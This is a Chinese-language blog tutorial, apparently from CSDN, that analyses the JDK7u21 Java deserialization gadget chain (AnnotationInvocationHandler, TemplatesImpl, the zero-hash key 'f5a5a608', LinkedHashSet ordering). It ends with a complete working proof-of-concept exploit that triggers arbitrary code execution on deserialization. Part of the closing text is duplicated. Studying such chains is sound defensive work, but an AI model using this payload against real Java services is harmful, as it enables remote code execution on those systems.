Javaweb安全——反序列化漏洞-原生利用链JDK7u21

JDK7u21原生反序列化利用链

先来看看ysoserial当中payload的调用链:

LinkedHashSet.readObject()
LinkedHashSet.add()

TemplatesImpl.hashCode() (X)
LinkedHashSet.add()

Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()

TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()

MaliciousClass.()

Runtime.exec()

核心调用链

从TemplatesImpl.getOutputProperties()开始是很熟悉的,而调用它用的AnnotationInvocationHandler类也在之前CC1利用链出现过:

AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()

当时只用到了这个类会触发 Map#put 、 Map#get 的特点,这条利用链则是用到了其equalsImpl方法去调用Method.invoke

private Boolean equalsImpl(Object o) {
    if (o == this)
        return true;

    if (!type.isInstance(o))
        return false;
    for (Method memberMethod : getMemberMethods()) {
        String member = memberMethod.getName();
        Object ourValue = memberValues.get(member);
        Object hisValue = null;
        AnnotationInvocationHandler hisHandler = asOneOfUs(o);
        if (hisHandler != null) {
            hisValue = hisHandler.memberValues.get(member);
        } else {
            try {
                hisValue = memberMethod.invoke(o);
            } catch (InvocationTargetException e) {
                return false;
            } catch (IllegalAccessException e) {
                throw new AssertionError(e);
            }
        }
        if (!memberValueEquals(ourValue, hisValue))
            return false;
    }
    return true;
}

有个很明显的反射调用 memberMethod.invoke(o) ,而 memberMethod 由getMemberMethods()方法获得,最终是由this.type.getDeclaredMethods()得到的type属性设置的类的所有方法。

private final Class<? extends Annotation> type;
private Method[] getMemberMethods() {
    if (memberMethods == null) {
        memberMethods = AccessController.doPrivileged(
            new PrivilegedAction<Method[]>() {
                public Method[] run() {
                    final Method[] mm = type.getDeclaredMethods();
                    AccessibleObject.setAccessible(mm, true);
                    return mm;
                }
            });
    }
    return memberMethods;
}

equalsImpl 这个方法是将 this.type 类中的所有方法遍历并执行了。那么,假设
this.type 是Templates类,则势必会调用到其中的 newTransformer() 或getOutputProperties()方法,进而触发任意代码执行。

查找这个私有方法 equalsImpl的调用,在AnnotationInvocationHandler.invoke()中对就有,当方法名等于“equals”,且仅有一个Object类型参数时,会调用到 equalImpl 方法:

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    assert paramTypes.length == 0;
    if (member.equals("toString"))
        return toStringImpl();
    //在这调用hashCodeImpl()
    if (member.equals("hashCode"))
        return hashCodeImpl();
    if (member.equals("annotationType"))
        return type;

    // Handle annotation member accessors
    Object result = memberValues.get(member);

    if (result == null)
        throw new IncompleteAnnotationException(type, member);

    if (result instanceof ExceptionProxy)
        throw ((ExceptionProxy) result).generateException();

    if (result.getClass().isArray() && Array.getLength(result) != 0)
        result = cloneArray(result);

    return result;
}

invoke方法的调用方式在动态代理那就有提过

Proxy类:

static Class<?> getProxyClass(
    ClassLoader loader, //指定代理类的类加载器
    Class<?>... interfaces  //要实现的代理类的接口列表。 
)
//创建一个代理类所对应的Class对象。
    
static Object newProxyInstance(
    ClassLoader loader,  //指定代理类的类加载器。 
 	Class<?>[] interfaces,    //目标对象实现的接口的类型
 	InvocationHandler h      //事件处理器
) 
//返回一个指定接口的代理类实例,该接口可以将方法调用指派到指定的调用处理程序。

InvocationHandler类:java.lang.reflect.InvocationHandler接口用于调用Proxy类生成的代理类方法。

 Object invoke(Object proxy, Method method, Object[] args) 
// 在代理实例上处理方法调用并返回结果。

而 AnnotationInvocationHandler 就是一个 InvocationHandler 接口的实现,其invoke方法自然可以通过动态代理调用。

调用equals方法

接着就是要满足equalImpl调用条件了,即方法名等于“equals”,且仅有一个Object类型参数。

看到HashSet的readObject方法:

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in any hidden serialization magic
    s.defaultReadObject();

    // Read in HashMap capacity and load factor and create backing HashMap
    int capacity = s.readInt();
    float loadFactor = s.readFloat();
    map = (((HashSet)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));

    // Read in size
    int size = s.readInt();

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        E e = (E) s.readObject();
        map.put(e, PRESENT);
    }
}

这里获取了一个HashMap,然后将对象通过map.put保存在HashMap的key处来做去重,当中自然会需要equals比较操作。

HashMap是一个集合,键值对的集合,源码中每个节点用Node<K,V>表示:

static class Node<K,V> implements Map.Entry<K,V> {
   final int hash;
   final K key;
   V value;
   Node<K,V> next;

Node是一个内部类,这里的key为键,value为值,next指向下一个元素,可以看出HashMap中的元素不是一个单纯的键值对,还包含下一个元素的引用。

image-20220708012442052

HashMap是由数组和链表组成的,数组的索引就是key的hash值,只有哈希相同的两个对象(key-value),才会进行比较被连接到同一条链表上。这时再看HashMap.put方法就很清楚了。

image-20220708013115448

先有一个key-value存入,当存入第二个key-value时,如果其key的hash值和已经存入键值对的key的hash相等那就调用第二个key的equals。当第二个key设置为AnnotationInvocationHandler时就能调用到equalImpl方法了。

也就是说得使proxy对象和TemplateImpl对象的哈希值相等。

image-20220708161322354

在Hashmap.put中主要通过hash函数计算,主要逻辑如下:

public static int hash(Object key) {
    int h = 0;
    h ^= key.hashCode();
    h ^= (h >>> 20) ^ (h >>> 12);
    h = h ^ (h >>> 7) ^ (h >>> 4);
    return h & 15;
}

变量就一个key.hashCode(),那只要对象的hashCode()方法返回值一样就行。TemplateImpl的 hashCode() 是一个Native方法,每次运行都会变。而proxy对象的hashCode() 的处理逻辑是可见的,Proxy.hashCode() 仍然会调用到 AnnotationInvocationHandler#invoke ,进而调用到
AnnotationInvocationHandler#hashCodeImpl

image-20220708020109843

private int hashCodeImpl() {
    int result = 0;
    for (Map.Entry<String, Object> e : memberValues.entrySet()) {
        result += (127 * e.getKey().hashCode()) ^
            memberValueHashCode(e.getValue());
    }
    return result;
}

遍历 memberValues 这个Map中的每个key和value,计算每个(127 *key.hashCode()) ^value.hashCode()并求和。

查看memberValueHashCode函数处理逻辑,当 memberValues 中只有一个key和一个value时,该哈希简化成 (127 * key.hashCode()) ^value.hashCode()

image-20220708021111532

当 key.hashCode() 等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成
value.hashCode() 。当 value 就是TemplateImpl对象时,这两个哈希就变成完全相等。

因此只需要通过脚本爆破找到一个hashCode是0的对象,ysoserial中用到的字符串是f5a5a608

最终得到我们需要的 AnnotationInvocationHandler 对象,其type属性为TemplateImpl类、memberValues属性是一个Map,Map只有一个key和value,key是字符串 f5a5a608 ,value是前面生成的恶意TemplateImpl对象。

HashMap map = new HashMap();
map.put("f5a5a608", templatesImpl);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Templates.class, map);

然后动态代理下这个类,整个HashSet把两个对象放进去:

POC:

package serJDK7u21;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class JDK7u21 {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazzz = pool.get(evalClassTemplatesImpl.class.getName());
        byte[] code = clazzz.toBytecode();
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][] {code});
        setFieldValue(templatesImpl, "_name", "test");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        // value先随便设置一个值,防止生成的时候触发
        HashMap map = new HashMap();
        map.put("f5a5a608", "any");
        // 实例化AnnotationInvocationHandler类
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Templates.class, map);
        //进行代理设置
        Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, handler);

        HashSet set = new LinkedHashSet();
        set.add(templatesImpl);
        set.add(proxy);
        // 将恶意templates设置到map中
        map.put("f5a5a608", templatesImpl);
        //生成序列化数据
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(set);
        oos.close();
        //反序列化
        ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(in);
        ois.readObject();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

用LinkedHashSet保证稳定性

可以看到POC中并没有使用前面说的HashSet而是LinkedHashSet。

HashSet、LinkedHashMap都是基于HashMap的数据结构理论上其实一样,但对于对象的hash值,是根据对象保持在内存中的地址取整得到的,所以就会存在一定的随机性,不管是序列化还是反序列化都无法保证proxy做为第二个元素被添加进去,也就没发保证euqal方法会触发proxy的invoker,无法执行templates的可执行方法。

而LinkedHashSet使用LinkedList维护插入元素的先后顺序,就可以确保后续触发。

反正我自己尝试如果使用HashSet的话2次到10多次才成功很不稳定,显然是不能接受的。

参考:

Java安全漫谈 - 18.原生反序列化利用链JDK7u21

http://t.zoukankan.com/9eek-p-15345211.html

shMap都是基于HashMap的数据结构理论上其实一样,但对于对象的hash值,是根据对象保持在内存中的地址取整得到的,所以就会存在一定的随机性,不管是序列化还是反序列化都无法保证proxy做为第二个元素被添加进去,也就没发保证euqal方法会触发proxy的invoker,无法执行templates的可执行方法。

而LinkedHashSet使用LinkedList维护插入元素的先后顺序,就可以确保后续触发。

反正我自己尝试如果使用HashSet的话2次到10多次才成功很不稳定,显然是不能接受的。

参考:

Java安全漫谈 - 18.原生反序列化利用链JDK7u21

http://t.zoukankan.com/9eek-p-15345211.html

https://blog.csdn.net/solitudi/article/details/119211849

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值